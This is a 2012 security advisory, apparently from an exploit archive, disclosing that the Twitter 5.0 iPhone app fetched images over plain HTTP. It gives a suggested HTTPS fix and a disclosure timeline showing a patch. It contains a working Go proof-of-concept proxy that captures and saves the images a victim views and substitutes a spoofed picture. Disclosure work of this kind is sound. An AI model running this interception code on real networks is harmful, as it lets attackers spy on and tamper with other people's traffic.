Twitter 5.0 Eavesdropping Proof Of Concept



EKU-ID: 2818 CVE: OSVDB-ID:
Author: Carlos Reventlov Published: 2012-11-26 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


## Twitter App vulnerable to eavesdropping

* Vendor: Twitter Inc.
* Product: Twitter 5.0
* Tested on: iPhone 4 (iOS 6.0)
* Vendor notification: Nov 10, 2012.
* Risk level: Low
* Researcher: Carlos Reventlov
* Link: http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm

The Twitter 5.0 app for the iPhone is vulnerable to eavesdropping via
[Man In The Middle][1], this vulnerability can lead an attacker on the same
local area network (LAN) to capture and/or modify pictures the victim
is seeing on the Twitter app.

### Details

The Twitter app communicates with the Twitter API via HTTPs connections,
however, picture images server by *.twimg.com are received through simple HTTP.

### Proof of concept

Read http://reventlov.com/advisories/twitter-app-vulnerable-to-partial-mitm
to see the PoC's screen captures.

This custom [hyperfox][2] server will listen on `:9999`. This PoC
captures pictures the user is seeing and sends a
bogus picture (`spoof.jpg`) instead of the original. Read the
[hyperfox][2] docs to know how to launch this PoC.

Only images on the *.twimg.com domain are targeted.

```go
/*
  Twitter App, eavesdroping PoC

  Written by Carlos Reventlov <carlos@reventlov.com>
  License MIT
*/

package main

import (
  "fmt"
  "github.com/xiam/hyperfox/proxy"
  "github.com/xiam/hyperfox/tools/logger"
  "io"
  "log"
  "os"
  "path"
  "strconv"
  "strings"
)

const imageFile = "spoof.jpg"

func init() {
  _, err := os.Stat(imageFile)
  if err != nil {
    panic(err.Error())
  }
}

func replaceAvatar(pr *proxy.ProxyRequest) error {
  stat, _ := os.Stat(imageFile)
  image, _ := os.Open(imageFile)

  host := pr.Response.Request.Host

  if strings.HasSuffix(host, "twimg.com") == true {

    if pr.Response.ContentLength != 0 {

      file := "saved" + proxy.PS + pr.FileName

      var ext string

      contentType := pr.Response.Header.Get("Content-Type")

      switch contentType {
      case "image/jpeg":
        ext = ".jpg"
      case "image/gif":
        ext = ".gif"
      case "image/png":
        ext = ".png"
      case "image/tiff":
        ext = ".tiff"
      }

      if ext != "" {
        fmt.Printf("** Saving image.\n")

        os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))

        fp, _ := os.Create(file)

        if fp == nil {
          fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file))
        }

        io.Copy(fp, pr.Response.Body)

        fp.Close()

        pr.Response.Body.Close()
      }

    }

    fmt.Printf("** Sending bogus image.\n")

    pr.Response.ContentLength = stat.Size()
    pr.Response.Header.Set("Content-Type", "image/jpeg")
    pr.Response.Header.Set("Content-Length",
strconv.Itoa(int(pr.Response.ContentLength)))
    pr.Response.Body = image
  }

  return nil
}

func main() {

  p := proxy.New()

  p.AddDirector(logger.Client(os.Stdout))

  p.AddInterceptor(replaceAvatar)

  p.AddLogger(logger.Server(os.Stdout))

  var err error

  err = p.Start()

  if err != nil {
    log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error()))
  }
}
```

### Suggested fix

Use HTTPs for serving *.twimg.com images so that an attacker would not be able
to capture or modify avatars or (possible private) uploaded images.

## Disclosure timeline

* Nov 10, 2012 Vulnerability discovered.
* Nov 10, 2012 Vendor contacted.
* Nov 15, 2012 Vendor response: "planned to be fixed on next release".
* Nov 15, 2012 New release 5.1, bug is patched.
* Nov 16, 2012 Full disclosure.

[1]: http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[2]: http://reventlov.com/projects/hyperfox